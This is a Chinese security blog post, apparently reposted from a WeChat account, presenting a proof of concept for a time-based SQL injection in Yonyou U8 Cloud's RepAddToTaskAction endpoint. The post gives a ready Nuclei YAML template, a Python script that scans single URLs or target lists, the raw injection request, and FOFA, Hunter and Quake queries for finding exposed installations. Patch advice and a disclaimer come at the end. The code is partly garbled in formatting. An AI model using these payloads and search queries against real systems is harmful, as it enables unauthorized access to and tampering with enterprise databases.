用友U8 Cloud RepAddToTaskAction SQL注入

admin 2024年9月22日14:22:19评论26 views字数 3758阅读12分31秒阅读模式

 

POC(Yaml&Python)

  • 「Yaml」
  1. id: yonyou-u8-cloud-RepAddToTaskAction-sqli

info:
name: 用友U8 Cloud RepAddToTaskAction SQL注入
author: xx
severity: high
description: 用友U8 Cloud RepAddToTaskAction SQL注入
metadata:
fofa-query: title="U8C"
tags: yonyou,sqli

http:
- raw:
- |+
@timeout: 30s
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.RepAddToTaskAction&method=save&taskSelected=1%27);WAITFOR+DELAY+%270:0:3%27-- HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

mmax-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=3 && duration<5'
- 'status_code_1 == 200'
condition: and

 

用友U8 Cloud RepAddToTaskAction SQL注入

用友U8 Cloud RepAddToTaskAction SQL注入

  • 「Python」
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import requests
  4. import argparse
  5. import time
  6. from urllib3.exceptions import InsecureRequestWarning

RED = '�33[91m'
RESET = '�33[0m'
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
try:
target_url = f"{url.rstrip('/')}/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.RepAddToTaskAction&method=save&taskSelected=1%27);WAITFOR+DELAY+%270:0:3%27--"
headers = {
'User-Agent''Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept''text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
'Accept-Language''zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
}
start_time = time.time()
response = requests.get(target_url, headers=headers, verify=False, timeout=10)
duration = time.time() - start_time

if response.status_code == 200 and 3 <= duration <

  1. 5:
  2.             print(f"{RED}URL [{url}] 可能存在用友 U8 Cloud RepAddToTaskAction SQL 注入漏洞{RESET}")
  3.         else:
  4.             print(f"URL [{url}] 可能不存在漏洞")

 

  1. except requests.RequestException as e:
  2.         print(f"URL [{url}] 请求失败: {e}")

 

  1. def main():
  2.     parser = argparse.ArgumentParser(description='检测目标地址是否存在用友 U8 Cloud RepAddToTaskAction SQL 注入漏洞')
  3.     parser.add_argument('-u', '--url', help='指定目标地址')
  4.     parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

args = parser.parse_args()

 

  1. if args.url:
  2.         if not args.url.startswith("http://") and not args.url.startswith("https://"):
  3.             args.url = "http://" + args.url
  4.         check_vulnerability(args.url)
  5.     elif args.file:
  6.         with open(args.file, 'r') as file:
  7.             urls = file.read().splitlines()
  8.             for url in urls:
  9.                 if not url.startswith("http://") and not url.startswith("https://"):
  10.                     url = "http://" + url
  11.                 check_vulnerability(url)

 

  1. if __name__ == '__main__':
  2.     main()

 

用友U8 Cloud RepAddToTaskAction SQL注入

漏洞介绍

用友U8 Cloud 提供企业级云ERP整体解决方案,全面支持多组织业务协同,实现企业互联网资源连接。U8 Cloud 亦是亚太地区成长型企业最广泛采用的云解决方案。用友U8 Cloud  RepAddToTaskAction存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句,以获取数据库敏感信息、修改数据或者执行其他恶意操作。

用友U8 Cloud RepAddToTaskAction SQL注入

资产测绘

  • 「Fofa」

app="用友-U8-Cloud"

  • 「Hunter」

web.title="U8C"

  • 「Quake」

app="用友-U8-Cloud"

用友U8 Cloud RepAddToTaskAction SQL注入

漏洞复现

「1、构造数据包」

  1. GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.RepAddToTaskAction&method=save&taskSelected=1%27);WAITFOR+DELAY+%270:0:3%27-- HTTP/1.1
  2. Host:
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Connection: close

 

「2、响应时间」

用友U8 Cloud RepAddToTaskAction SQL注入

修复方案

  • 官方已发布安全补丁,建议联系厂商打补丁或升级版本。
  • 引入Web应用防火墙防护,配置接口拦截策略。

!!!!关浅梦安全不迷路!!
!!!!关浅梦安全不迷路!!
!!!!关浅梦安全不迷路!!

用友U8 Cloud RepAddToTaskAction SQL注入

 

原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】用友U8 Cloud RepAddToTaskAction SQL注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月22日14:22:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友U8 Cloud RepAddToTaskAction SQL注入http://cn-sec.com/archives/3136382.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息